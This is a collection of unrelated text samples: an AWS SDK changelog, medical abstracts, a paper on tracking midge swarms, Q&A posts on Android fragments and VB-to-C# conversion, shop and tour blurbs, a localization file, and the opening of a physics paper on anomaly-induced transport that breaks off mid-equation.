* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.23.0 (2020-06-23)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.22.1 (2020-06-11)
------------------
* Issue - Republish previous version with correct dependency on `aws-sdk-core`.
1.22.0 (2020-06-10)
------------------
* Issue - This version has been yanked. (#2327).
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.21.0 (2020-05-28)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.20.0 (2020-05-07)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.19.0 (2020-03-09)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.18.0 (2019-10-23)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.17.0 (2019-07-25)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.16.0 (2019-07-01)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.15.0 (2019-06-17)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.14.0 (2019-05-21)
------------------
* Feature - API update.
1.13.0 (2019-05-15)
------------------
* Feature - API update.
1.12.0 (2019-05-14)
------------------
* Feature - API update.
1.11.0 (2019-04-05)
------------------
* Feature - API update.
1.10.0 (2019-03-25)
------------------
* Feature - API update.
1.9.0 (2019-03-21)
------------------
* Feature - API update.
1.8.0 (2019-03-18)
------------------
* Feature - API update.
1.7.0 (2019-03-14)
------------------
* Feature - API update.
1.6.0 (2018-11-20)
------------------
* Feature - API update.
1.5.0 (2018-10-24)
------------------
* Feature - API update.
1.4.0 (2018-10-23)
------------------
* Feature - API update.
1.3.0 (2018-09-06)
------------------
* Feature - Adds code paths and plugins for future SDK instrumentation and telemetry.
1.2.0 (2018-09-05)
------------------
* Feature - API update.
1.1.0 (2018-06-26)
------------------
* Feature - API update.
1.0.0 (2018-05-14)
------------------
* Feature - Initial release of `aws-sdk-iot1clickdevicesservice`.
|
{
"pile_set_name": "Github"
}
|
[Expressions of heme oxygenase-1 and apoptosis-modulating proteins in peri-hematoma cortex after intracerebral hemorrhage in human being].
To observe the expression of heme oxygenase-1 (HO-1) and Bcl-2, an apoptosis-modulating protein, in the neurons surrounding the hematoma in human being. Specimens of cerebral cortex tissue 1 - 3 cm around the hemorrhagic focus with the size of 2.0 cm x 1.5 cm x 0.3 cm were collected during autopsy from 39 patients, 17 males and 22 females, aged 62.8 (36 - 84), who died from intracerebral hemorrhage 2 - 10 h, 17 - 30 h, 36 - 96 h, 120 - 216 h, or 240 - 408 h before. Specimens of brain tissue of the same size at the opposite side were collected as controls. Immunohistochemistry was used to examine the expression of HO-1 and Bcl-2 protein. (1) Expression of HO-1 could be detected in the specimens of the 2 h group, increased in the specimens of the 2 - 10 h group [(5.1 +/- 2.0)/HP], reached the peak in the 17 - 30 h group [(11.3 +/- 0.9)/HP], then began to decrease in the specimens of the 240 - 408 h group [(6.4 +/- 0.6)/HP] (F = 42.80, P < 0.001). The HO-1 expression of the control group remained negative at any time-point. (2) Expression of Bcl-2 could be detected in the specimens of the 2 - 10 h group [(4.2 +/- 1.7)/HP], was increased in the 17 - 30 h group [(6.6 +/- 0.5)/HP], reached the peak in the 36 approximately 96 h group [(8.9 +/- 1.1)/HP], then began to decrease, and was (4.7 +/- 0.6)/HP in the 240 approximately 408 h group (F = 29.59, P < 0.001). The Bcl-2 expression remained negative at any time point in the control group. (3) The expressions of HO-1 was positively correlated with the expression of Bcl-2 (r = 0.66, P < 0.001). Over-expression of HO-1 and Bcl-2 in the neurons provide a potential protection or destruction mechanism after intracerebral hemorrhage in human.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Maximal exercise test as a predictor of risk for mortality from coronary heart disease in asymptomatic men.
Exercise testing in asymptomatic persons has been criticized for failing to accurately predict those at risk for coronary heart disease (CHD). Previous studies on asymptomatic subjects, however, may not have been large enough or long enough to provide reliable outcome measures. This study examines the ability of a maximal exercise test to predict death from CHD and death from any cause in a population of asymptomatic men. This is a prospective longitudinal study performed between 1970 and 1989, with an average follow-up of 8.4 years. The subjects are 25,927 healthy men, 20 to 82 years of age at baseline (mean 42.9 years) who were free of cardiovascular disease and who were evaluated in a preventive medicine clinic. The main outcome measures are CHD mortality and all-cause mortality. During follow-up there were 612 deaths from all causes and 158 deaths from CHD. The sensitivity of an abnormal exercise test to predict coronary death was 61%. The age-adjusted relative risk of an abnormal exercise test for CHD death was 21 (6.9 to 63.3) in those with no risk factors, 27 (10.7 to 68.8) in those with 1 risk factor, 54 (21.5 to 133.7) in those with 2 risk factors, and 80 (30.0 to 212. 5) in those with >/=3 factors. A maximal exercise test performed in asymptomatic men free of cardiovascular disease does appear to be a worthwhile tool in predicting future risk of CHD death. An abnormal exercise test is a more powerful predictor of risk in those with than without conventional risk factors.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Highlights along the tour cover more than a century of architectural innovation from classic buildings like the Civic Opera House to mid-century experiment Marina City to modern buildings like Aqua. En savoir plus
CAF-certified volunteer tour guides—called docents—interpret more than 50 buildings along the Chicago River. You’ll find out how Chicago grew from a small settlement into one of the world’s largest cities in less than 100 years.
|
{
"pile_set_name": "Pile-CC"
}
|
Q:
How do I delegate a string without redefining it , in another class?
I am pretty new to android and trying to figure out delegation. To explain the same.
I have a search box for which I am defining a search text string as follows in class FragmentA:
protected EditText mSearchView;
Now, I have another class FragmentB extends Fragment A, which is using the same in a method as follows:
private void displayQuotes(final String searchAutoSuggestTitle, final String searchAutoSuggestSubTitle, final String searchAutoSuggestSymbol) {
killLastSearchAutoSuggestTask();
String text = mSearchView.getText().toString().toLowerCase() + " " + mSearchView.getText().toString().toLowerCase();
if(searchAutoSuggestSymbol.toLowerCase().contains(mSearchView.getText().toString().toLowerCase())){
QuotesFragmentWebView.newInstanceForSearch(getFragmentManager(), searchAutoSuggestSymbol, null);
}
else if(!searchAutoSuggestSymbol.toLowerCase().contains(text)){//mSearchView.getText().toString()))&&""&&(searchAutoSuggestSymbol.contains(mSearchView.getText().toString()))){
AnswersWebViewFragment.newInstanceForSearch(getFragmentManager(), searchAutoSuggestSymbol, null);
} else {
}
hideSearchView();
}
Now, the values are retrieved for mSearchView text for the text typed in. Now I have another class Fragment C which extends Fragment implements Onclicklistener,mainactivity, and no specific classes. I have a URL in there which I am defining as :
public final static String search_1_result = "https://mobile13.cp.com/fwd/results/answers/service/v1/?q="+mSearchView.getText().toString()+"%20revenue&ui.theme=novadark&uuid=PADACT-002";
But, I wonder how do I make it recognize the mSearchView.getText().toString() value(including recognizing mSearchView which it is throwing as an error,since its not defined in that specific class) . Also how do I carry on the typed value in Fragment B for the search, to be used in the url given above?
Thanks!
brian
A:
Refer to this thread :
How do I use the parameter defined in another class?
I had a similar issue ,
You just need to define a function say
-public fragment(or your class can be your view class) extends whatever{
-public void thisfunction(){
//code to add
}
}
call that in the class you require and define the functionality in the main class from which you wish to delegate and call it inside the function referring to the fragment class.(exactly the same as in the class reference I gave you),don't forget to get the required listeners with implements functionality, in the example onrawerclosedlistener.
|
{
"pile_set_name": "StackExchange"
}
|
Dog Toys
Dog toys are an excellent tool to alleviate boredom and are great to keep them occupied. Of course, not only are dog toys great for your dog to play with, but they are also great for you. Enjoying time with your dog is what he is there for, and with our extensive and colourful range of toys, you are sure to have the best possible time together.
With a huge range of fluffy animal toys to choose from, they are sure to make the best of friends to any dog of any age or breed. We stock a lovely range of collections that can serve as a perfect welcoming present if you are just introducing your furry friend into your home. Our Happy Heads toy collection offers your dog the perfect set of squeaky toys that are sure to keep him entertained all day long. However, if you’re looking for a quieter type of toy, our Tiny Tots selection are the perfect toys for puppies and growing dogs alike.
With all our toys passing rigorous safety tests, there really isn’t a toy within our range that won’t suit you and your dogs needs.
|
{
"pile_set_name": "Pile-CC"
}
|
Background & Summary
====================
In nature, many species organize in groups or aggregations that exhibit temporally and spatially complex patterns and dynamics^[@b1]^. This behaviour can be observed in bird flocks^[@b2]^, fish schools^[@b5]^, and insect swarms^[@b6],[@b7]^, among others. This group behaviour often appears to be collective, so that the group as a whole has distinctly different properties from those of the individuals^[@b7]^. It is widely believed that group behaviour is beneficial. Thus, substantial work on the nature, advantages, and origins of collectivity has appeared in recent years^[@b5],[@b8]^. In addition to being of fundamental biological interest, understanding collective behaviour has also emerged as an important topic in bio-inspired engineering to enable the design of distributed robotic systems that can handle tasks in robust and efficient ways^[@b11],[@b12]^.
With recent technological advances in imaging technology, the study of animal aggregations has increasingly focused on the detailed observation of individuals within the group to provide simultaneous measurement of individual and group behaviour. For larger animals such as birds or fish, the task of tracking individuals can become challenging due to visual occlusions of individuals and potential large-scale translational movement of the group^[@b4]^. Many larger animals must also be studied in the wild, which brings additional complications. In particular, it can be difficult to disentangle the effects of environmental stimuli, which can simultaneously affect many individuals, from the intrinsic collective behaviour of the group^[@b13],[@b14]^. To remove any confounding external stimuli, we performed laboratory observations on swarms of *Chironomus riparius*, a non-biting midge species that consistently and predictably forms mating swarms over visual cues^[@b15]^ (see [Fig. 1](#f1){ref-type="fig"}). As we have shown elsewhere, these swarms are a useful and convenient system for investigating collective behaviour^[@b7],[@b14],[@b16],[@b17]^, including by allowing potentially powerful analogies to materials science^[@b18],[@b19]^, thermodynamics^[@b20]^, and gravitating systems^[@b21],[@b22]^.
Here, we present a dataset of such individual trajectories in laboratory insect swarms. We use a three-camera setup to reconstruct the three-dimensional positions, velocities, and accelerations of each individual midge during the swarming process. This temporally and spatially resolved data allows for statistical, dynamic, and topological analyses, and can give insights in the behaviour of both individuals and of the group as a whole.
Methods
=======
Insect colony
-------------
The data described here was obtained from imaging swarms of *Chironomus riparius* midges living in a self-sustaining laboratory colony^[@b7]^. We established the colony from initial egg sacs purchased from Environmental Consulting and Testing, Inc. The midges are kept in a (122 cm)^3^ cubical enclosure made of acrylic for easy optical access. The room in which this enclosure sits is maintained at a constant 22 °C and 50% humidity, with no natural light sources. The enclosure is illuminated by an overhead light set to a circadian cycle, providing 16 h of light and 8 h of darkness per day.
Male midges spontaneously form mating swarms twice daily, at (laboratory) dusk and dawn. We typically observe larger swarms at dusk; most of the data reported here was acquired from dusk swarms. Females do not participate in the swarming behaviour, but will occasionally fly through the swarms to find mates. These events are rare and are not present in the data provided here.
The insect colony setup is similar to what was described in references^[@b7],[@b14],[@b16],[@b23]^, though there the enclosure was smaller. The larger midge enclosure here allows for larger swarms to form that are still not influenced by the walls.
Setup and Procedure
-------------------
Swarms of *C. riparius* are well known to nucleate over visual features on the ground^[@b15],[@b24]^. In the wild, such features may be, for example, tree stumps or stream banks. In the laboratory, we provide a 31×31 cm^2^ "swarm marker" (in our case, a black square plate) for this purpose (see [Fig. 1](#f1){ref-type="fig"}). In addition to encouraging the formation of swarms, the marker also allows us to position swarms in the midge enclosure so that we can ensure their visibility by our imaging system and prevent them from drifting in space or interacting with the walls of the enclosure. Note that swarms do not tend to fill the entire enclosure, but rather remain far from the walls^[@b7]^. As such, the insects are not directly constrained by the size of the laboratory environment.
Static properties such as the size and shape of the marker can affect the behaviour of very small swarms, but do not play a strong role in the morphology or behaviour of swarms larger than about 10 individuals^[@b23]^. In contrast, dynamic movement of the swarm marker does affect the swarm noticeably.The data we present here was obtained using a static marker.
We image the swarms using three hardware-synchronized Point Grey Flea3 cameras, recording 8-bit greyscale images with a spatial resolution of 1280 by 1024 pixels at a rate of 100 Hz. Using an array of near-infrared LEDs, the swarms are illuminated at a wavelength that is visible to the cameras but not to the midges, so that their behaviour is not disturbed by lighting. Each swarming event is filmed for approximately 2 to 5 min, corresponding to roughly 10000 to 20000 frames of data. The cameras are arranged outside the enclosure in a horizontal plane, as sketched in [Fig. 2b](#f2){ref-type="fig"}, with angular separations of approximately 30° and 70°. To calibrate the imaging system, we assume a standard pinhole camera model^[@b25]^. The cameras are calibrated using a target mask consisting of a regular dot pattern^[@b26]^ that is positioned in the center of the enclosure and removed before swarming begins. The conceptual design of the experiment and the data acquisition follows the description in ref.^[@b7]^, with camera locations and illumination setup adjusted to account for the larger midge enclosure.
Data Treatment
--------------
To track the motion of individuals in the swarm, we followed the methodology described in ref.^[@b7]^. We first located midges in each camera frame by finding the centroids of regions that had sufficient contrast with the background and were larger in area than an appropriate threshold *A*~1~, after the average of all frames was subtracted (see [Fig. 3a](#f3){ref-type="fig"}). To improve on the detection method, centroid coordinates of circular regions above a second larger threshold *A*~2~ (see [Fig. 3c](#f3){ref-type="fig"}) were duplicated as they potentially corresponded to two midges almost completely overlapping from the viewpoint of a single camera. This allowed the stereomatching to correctly distinguish two midges that were partially obstructed in the field of view of one camera. Highly non-circular regions above a third area threshold *A*~3~ were additionally split into two spatially separated midges because they may potentially correspond to two distinct midges that overlap only slightly in the frame (see [Fig. 3b](#f3){ref-type="fig"}). *A*~1~ was chosen to be about 15 pixels, which for the given illumination and camera setup proved to be large enough to prevent unnecessary false positives. *A*~2~ was about 100 pixels which is larger than any typical single midge observed, and *A*~3~ was about 150 pixels to reduce the error in finding the center of split midges. Note that while for the observations in this dataset the illumination and camera setup remained constant, in general these parameters do strongly depend on the illumination level and the distance of the cameras from the swarm center.
Combining the two-dimensional positions on the frames obtained from each camera and the relative coordinates of the cameras (found using a standard calibration method based on Tsai's model^[@b25]^), we constructed an epipolar line of sight for each midge image on each camera. Near intersections of triplets of these epipolar lines then determine the location of the midges in three-dimensional space. Here, we only considered midges that were seen by all three cameras. Although in principle two views are sufficient for stereoimaging, in practice at least three cameras are typically required to resolve ambiguities and avoid false identifications^[@b27]^. Arranging all three cameras in a horizontal plane, as we have done here, can still leave some residual ambiguity. However, this situation occurs infrequently and is more than compensated for by the simpler and superior camera calibration that can be obtained when all the cameras are positioned approximately orthogonally to the walls of the midge enclosure.
After determining the three-dimensional positions of the midges, we tracked their motion in time using a predictive tracking algorithm originally developed to study turbulent fluid flows^[@b27]^. This algorithm proceeds by using the prior flight history of a midge to estimate the expected position of the midge in future frames; the real midge that is found closest to the estimated position is linked to the trajectory^[@b27]^. We set the parameters of this algorithm conservatively, so that ambiguities in the tracking (as can be caused by, for example, midges that come very close together or midge positions that are missing or misidentified) led to trajectory segments ending rather than to tracking mistakes. Subsequently, however, we tested whether we could splice together trajectory segments by re-tracking them in a six-dimensional position-velocity space that serves to spread out the potential matches and resolve ambiguities^[@b28]^. To do this, all tracks obtained via the tracking algorithm were projected forward and backward in time using positions and velocities at the track endpoints. If the distance in position-velocity space of the forward projection of one trajetory and the backward projection of another trajectory falls below a threshold, one can assume that those tracks belong to the same individual midge, and the trajectory segments can be joined^[@b28]^.
Once the trajectories were identified, we computed velocities and accelerations by convolving the trajectories with a Gaussian smoothing and differentiating kernel^[@b29]^, thereby avoiding noise that can be introduced by simple finite differences^[@b23]^. For the data presented here, the convolution kernel was chosen to have a standard deviation of 2 frames, and the position information from 9 frames was used to calculate each derivative.
Our time resolution was sufficient to capture even the most intense acceleration events displayed by the midges^[@b7]^. We note that since midge swarms are very dilute, tracking is relatively easy for these data sets. Sample midge trajectories are shown in [Fig. 2a](#f2){ref-type="fig"}.
Code availability
-----------------
Code for stereomatching and tracking is available from the corresponding author upon request.
Data Records
============
The dataset (Data Citation 1) contains 19 individual swarming events (see [Table 1](#t1){ref-type="table"}), which each contain the trajectories of all the midges within the swarm. The swarm recordings were between 100 and 200 s long, and the swarms contained between 15 and 94 individuals. Each swarm measurement is stored in a .csv file. The data is organized in 11 columns (see [Table 2](#t2){ref-type="table"}), with each line corresponding to one individual midge at one specific time. The first column contains a unique numerical identifier *id* corresponding to a single midge. The second through fourth columns contain the *x*, *z* and *y* coordinates, respectively, of the midge in mm, with *z* pointed antiparallel to gravity. The fifth column contains the time stamp *t* of that frame in seconds. The sixth through eighth columns contain the velocities *v*~*x*~, *v*~*z*~, and *v*~*y*~ in the *x*, *z*, and *y* directions, respectively, in mm/s. The ninth through eleventh columns contain the accelerations *a*~*x*~, *a*~*z*~, and *a*~*y*~ in the *x*, *z*, and *y* direction, respectively, in mm/s^2^.
Technical Validation
====================
The image processing step of our method was tested by comparing the algorithmic results with those obtained by human identification on a representative sample of images. By appropriately tuning the thresholds, all midges identified by eye were automatically detected by our algorithm. The tracking algorithm used in this study has been thoroughly tested against numerical simulations of particles in turbulent flows^[@b27]^, a scenario in which individual particles display much more erratic behaviour and much stronger accelerations than the swarming midges. To do this, particle trajectories were generated by direct numerical simulation of the Navier-Stokes equations for the case of a turbulent flow. The trajectories were parameterized by time, and lists of the time-resolved positions (without any indication of which position belonged to which trajectory) were fed into the tracking algorithm. Since the trajectories of the simulated particles were known *a priori*, it was possible to evaluate the performance of the tracking algorithm quantitatively by comparing the true trajectories with the output of the algorithm^[@b27]^. In the case of low particle densities, as is the case in the midge swarms, tracking mistakes were negligible. We did not directly assess the performance of our tracking algorithm on simulated midge trajectories because the equations of motion of midges are not known; nevertheless, they still must obey basic kinematics such as smoothness of the trajectories, which is the only assumption underlying our tracking algorithm.
The resulting distribution of trajectory lengths is shown in [Fig. 4](#f4){ref-type="fig"}. These distributions have long, nearly exponential tails, implying that the ending of a trajectory is uncorrelated and random. There is a slight increase of the decay rate with swarm size, with larger swarms favoring shorter trajectories. This effect is likely due to a combination of factors, including a greater likelihood of visual occlusions on the cameras when more midges are flying and a higher chance of a midge leaving the field of the view of the cameras for larger swarm volumes. As a result, the mean trajectory length decreases somewhat with the total number of midges in the swarm. Note, however, that this does not mean that a smaller proportion of the midges are tracked. Rather, the conservative approach we take in reconstructing midge identity is more likely to result in broken trajectories.
As an a posteriori validation step of the quality of our data, we checked the kinematics of our midge trajectories for inconsistencies that might be the result of systematic errors. In [Fig. 5](#f5){ref-type="fig"}, time series of the number of midges *N* and the mean speed *v* of midges from observation 14 are shown over the course of the entire measurement. Neither of these quantities show any suspicious outliers (that is, data points that are very far from the mean behaviour), and they agree with human observations of swarm size and the typical travel times of midges through the swarm volume. Similarly, the kinematic statistics of the midges, such as the speed and acceleration magnitude probability density functions shown in [Fig. 6](#f6){ref-type="fig"}, are smooth and show no unexpected features.
Usage Notes
===========
While gravity is always directed in the negative *z* direction, neither the *x* and *y* direction nor the absolute position of the origin in space are fixed between different observations. The coordinate system for each observation was determined by the position and orientation of the calibration target, and the target was not placed at the exact same location and orientation for different measurements. However, the center of mass of the swarm defines a physical meaningful origin in each case, and we find that the swarms are azimuthally symmetric.
Additional information
======================
**How to cite this article**: Sinhuber, M. *et al.* The Subnational Human Development Database. *Sci. Data*. 6:190036 https://doi.org/10.1038/sdata.2019.36 (2019).
**Publisher's note**: Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.
Supplementary Material {#S1}
======================
This project was sponsored by the Army Research Laboratory under grant no. W911NF-16-1-0185. K.v.d.V. was supported by an Early Postdoc.Mobility fellowship from the Swiss National Science Foundation, and M.S. received support from the Deutsche Forschungsgemeinschaft under grant no. 396632606.
The authors declare no competing interests.
{#f1}
{#f2}
{#f3}
{#f4}
{#f5}
{#f6}
###### Overview of the individual swarming events in the dataset.
Observation ID Dataset length \[frames\] Mean swarm size Mean track length \[frames\]
---------------- --------------------------- ----------------- ------------------------------
Ob1 11000 94 224
Ob2 14870 68 194
Ob3 15000 46 162
Ob4 15000 29 417
Ob5 15000 22 523
Ob6 20000 18 509
Ob7 10000 58 217
Ob8 19000 27 194
Ob9 10000 49 219
Ob10 15000 71 270
Ob11 20000 14 1028
Ob12 20000 19 335
Ob13 20000 27 525
Ob14 20000 54 212
Ob15 20000 20 549
Ob16 20000 34 559
Ob17 20000 15 1467
Ob18 20000 19 493
Ob19 30000 29 808
###### Columns in a single swarm dataset.
-------- ------ ----- ----- ----- ----- ---------- ---------- ---------- ---------- ---------- ----------
Column 1 2 3 4 5 6 7 8 9 10 11
Data *id* *x* *z* *y* *t* *v*~*x*~ *v*~*z*~ *v*~*y*~ *a*~*x*~ *a*~*z*~ *a*~*y*~
-------- ------ ----- ----- ----- ----- ---------- ---------- ---------- ---------- ---------- ----------
[^1]: These authors contributed equally to this work.
[^2]: R.N., J.G.P., D.H.K. and N.T.O. designed the original experimental methodology. M.S. and K.V. refined the experiment and collected and analyzed the data. All authors wrote the manuscript.
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"pile_set_name": "PubMed Central"
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/* Current page in photo browser (1 of 10) */
"%d of %d" = "%1$d of %2$d";
"Are you sure you want to cancel?" = "Are you sure you want to cancel?";
"Are you sure?" = "Are you sure?";
"Cancel" = "Cancel";
"Done" = "Done";
"Error" = "Error";
"Load More Photos..." = "Load More Photos...";
"Loading..." = "Loading...";
"New Message" = "New Message";
"No" = "No";
"No Photos" = "No Photos";
/* Title for back button that returns to photo browser */
"Photo" = "Photo";
"Search" = "Search";
/* See all photo thumbnails */
"See All" = "See All";
"Send" = "Send";
"Showing %d of %d Photos" = "Showing %1$d of %2$d Photos";
"Sorry, an error has occurred." = "Sorry, an error has occurred.";
"Subject:" = "Subject:";
"This photo is not available." = "This photo is not available.";
"This photo set contains no photos." = "This photo set contains no photos.";
"This photo set could not be loaded." = "This photo set could not be loaded.";
"To:" = "To:";
"Updating..." = "Updating...";
"Yes" = "Yes";
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"pile_set_name": "Github"
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Q:
VB WPF to C# WPF
I'm attempting to move from using VB WPF to C# WPF, What I have attempted so far is using an online converter because of the amount of code I have. The problem being that I have come into some troubles understanding some errors presented and being a beginner in C# I'm a little lost.
The code below is what I'm currently using with standard VB WPF and work perfectly fine and a copy of what the c# converter changes it into. (Note I have added Bing Maps WPF Reference to both VB and C#)
Private Sub Aberdeen() Handles BTNCounty.Click
If TXTCounty.Text = "Aberdeen" Then
Dim CountyLocation(2) As Microsoft.Maps.MapControl.WPF.Location
CountyLocation(0) = New Microsoft.Maps.MapControl.WPF.Location(57.143652, -2.1056584)
CountyLocation(1) = New Microsoft.Maps.MapControl.WPF.Location(57.143652, -2.1056584)
CountyLocation(2) = New Microsoft.Maps.MapControl.WPF.Location(57.124838, -2.0991633)
Dim names = New String() {"Aberdeen Central", "Aberdeen Lochnagar", "Aberdeen Kincorth"}
For index = 0 To CountyLocation.Length - 1
Dim Pin = New Microsoft.Maps.MapControl.WPF.Pushpin()
Dim CoordinateTip = New ToolTip()
CoordinateTip.Content = names(index)
Pin.Location = CountyLocation(index)
Pin.ToolTip = CoordinateTip
BingMap.Children.Add(Pin)
Next
End If
End Sub
Below is the example of the converted code into c#
private void Aberdeen()
{
if (TXTCounty.Text == "Aberdeen") {
Microsoft.Maps.MapControl.WPF.Location[] CountyLocation = new Microsoft.Maps.MapControl.WPF.Location[3];
CountyLocation(0) = new Microsoft.Maps.MapControl.WPF.Location(57.143652, -2.1056584);
CountyLocation(1) = new Microsoft.Maps.MapControl.WPF.Location(57.143652, -2.1056584);
CountyLocation(2) = new Microsoft.Maps.MapControl.WPF.Location(57.124838, -2.0991633);
dynamic names = new string[] {
"Aberdeen Central",
"Aberdeen Lochnagar",
"\tAberdeen Kincorth"
};
for (index = 0; index <= CountyLocation.Length - 1; index++) {
dynamic Pin = new Microsoft.Maps.MapControl.WPF.Pushpin();
dynamic CoordinateTip = new ToolTip();
CoordinateTip.Content = names(index);
Pin.Location = CountyLocation(index);
Pin.ToolTip = CoordinateTip;
BingMap.Children.Add(Pin);
}
}
}
I recieve 3 errors which I was wondering if you could tell me what they mean and how to resolve the issue?
CountyLocation is a variable but used like a method?
2 The name index does not exist in the current context?
3 System.Windows.FrameworkElement.ToolTip is a property but is used like a type?
Any help would be much appreciated as this very much foreign territory for me.
A:
Please see the answers inline.
The main issue is that the converter has converted all your type inference calls (Dim variable = ...) to dynamics, which is incorrect. You should use var for type inference.
private void Aberdeen()
{
if (TXTCounty.Text == "Aberdeen") {
Microsoft.Maps.MapControl.WPF.Location[] CountyLocation = new Microsoft.Maps.MapControl.WPF.Location[3];
// Error 1: Setting array variables is done using square brackets, otherwise it's considered a method invocation
CountyLocation[0] = new Microsoft.Maps.MapControl.WPF.Location(57.143652, -2.1056584);
CountyLocation[1] = new Microsoft.Maps.MapControl.WPF.Location(57.143652, -2.1056584);
CountyLocation[2] = new Microsoft.Maps.MapControl.WPF.Location(57.124838, -2.0991633);
// extra: you don't need dynamic here, just var will do
var names = new string[] {
"Aberdeen Central",
"Aberdeen Lochnagar",
"\tAberdeen Kincorth"
};
// Error 2: you need to declare the index variable (added var)
for (var index = 0; index <= CountyLocation.Length - 1; index++) {
// Error 3: don't need dynamic here
var Pin = new Microsoft.Maps.MapControl.WPF.Pushpin();
// don't need dynamic here
var CoordinateTip = new ToolTip();
// Same as error 1: Array access is done with square brackets
CoordinateTip.Content = names[index];
// Same as error 1: Array access is done with square brackets
Pin.Location = CountyLocation[index];
Pin.ToolTip = CoordinateTip;
BingMap.Children.Add(Pin);
}
}
}
|
{
"pile_set_name": "StackExchange"
}
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The amount of people on Reddit that are uncomfortable buying condoms Is too damn high
134 shares
|
{
"pile_set_name": "OpenWebText2"
}
|
---
abstract: 'We consider 3+1-dimensional fluids with $U(1)^3$ anomalies. We use Ward identities to constrain low-momentum Euclidean correlation functions and obtain differential equations that relate two and three-point functions. The solution to those equations yields, among other things, the chiral magnetic conductivity. We then compute zero-frequency functions in hydrodynamics and show that the consistency of the hydrodynamic theory also fixes the anomaly-induced conductivities.'
author:
- Kristan Jensen
bibliography:
- 'anomalous\_refs.bib'
title: 'Triangle Anomalies, Thermodynamics, and Hydrodynamics'
---
*Introduction.*—The chiral magnetic effect (CME) [@Kharzeev:2007tn; @Fukushima:2008xe; @Kharzeev:2009pj] and chiral vortical effect (CVE) [@Son:2009tf; @Kharzeev:2010gr] represent remarkable implications of anomalies in quantum field theory for macroscopic transport. In a fluid with a $U(1)^3$ anomaly, there will be currents directed along a magnetic field $B^{\mu}$ or the vorticity $w^{\mu}$. The former is the CME and the latter the CVE. Both effects probe the violation of parity and charge conjugation and so may be measured by studying spatial and charge asymmetries [@Kharzeev:2010gr] in off-axis heavy ion collisions at RHIC or the LHC.
It has also been shown that the hydrodynamic description of a relativistic fluid with anomalies must be modified [@Son:2009tf] from its textbook treatment [@LL6]. There are additional transport coefficients, describing the response of the currents to magnetic fields and vorticity. These coefficients are fixed by demanding a local version of the second law of thermodynamics, namely the existence of an entropy current whose divergence is positive semi-definite [@LL6]. Despite the absence of a clear understanding of this constraint in field theory, the result for the anomaly-induced transport matches results at weak [@Fukushima:2008xe] and strong coupling [@Banerjee:2008th; @Erdmenger:2008rm]. This yields a hydrodynamic description of the CME and CVE.
We endeavor to reproduce the constraints on anomaly-induced transport without recourse to the entropy current. We will do so by employing properties of equilibrium quantum field theory. In particular, we will study theories which have finite static correlation length, $\lambda$. This has the practical implication that real-space, zero-frequency correlation functions fall off exponentially at long distance. The Fourier transformed functions are then analytic at zero frequency and small momenta $k\lambda\ll 1$. Together with some Ward identites we relate the $U(1)^3$ anomaly coefficient to transport.
The resulting calculation makes a few points clear. First, only the small $B^{\mu}$ and small $w^{\mu}$ parts of the CME and CVE are fixed by the anomaly. Second, anomaly-constrained transport follows from a covariant and gauge-invariant description of thermodynamics. Finally, we see that, among other things, the entropy current enforces properties of the equilibrium theory (see and ) that are not manifest in the hydrodynamic description.
*Note:* We explore a number of questions related to equilibrium thermodynamics and the role of the entropy current in a companion paper [@Jensen:2012jh]. While this work was in progress we were also made aware of [@Banerjee:2012iz] which has overlap with the content of this Letter.
*Correlation functions at $T,\mu\neq 0$.*—In real-time finite temperature field theory there are different definitions for correlation functions. We employ the closed-time-path (CTP) formalism, in which time is extended to a closed contour which extends from $t_1 :(-\infty,\infty)$, and then doubles back as $t_2:(\infty,-\infty)$. See [@Wang:1998wg] for a review. The only ingredient we need is that there is a CTP generating functional $W_{CTP}$ which depends on two sets of sources: $J_r = (J_1+J_2)/2$, $J_a = J_1-J_2$, where the $J_i$ are independent sources introduced on each segment of the time contour. The fully retarded functions, which are those computed in hydrodynamics [@Moore:2010bu], are obtained by varying $W_{CTP}$ with respect to the $r$ sources and one $a$ source. The $r$ source couples to $a$-type operators, whereas the $a$ source couples to $r$-type operators. Insertions of $U(1)$ currents, labeled by the index $A$, and stress tensor densities come from varying $W_{CTP}$ with respect to background fields as $$\langle \J^{\mu,A}_{r/a}(x)\rangle = \frac{\delta W_{CTP}}{\delta A^{A}_{\mu,a/r}(x)}, \,\,\,\, \langle \T^{\mu\nu}_{r/a}(x)\rangle = \frac{2\,\delta W_{CTP}}{\delta g_{\mu\nu,a/r}(x)}.$$ The currents and stress tensor are related to the densities by $\J^{\mu,A}=\sqrt{-g}J^{\mu,A}, \T^{\mu\nu}=\sqrt{-g}T^{\mu\nu}$. In this work we consider $ra$ and $raa$ functions in momentum space. We notate these as $$\begin{aligned}
G_R^{I,J}(q)& = \langle \mathcal{O}^I_r(q)\mathcal{O}^J_a(-q)\rangle, \\
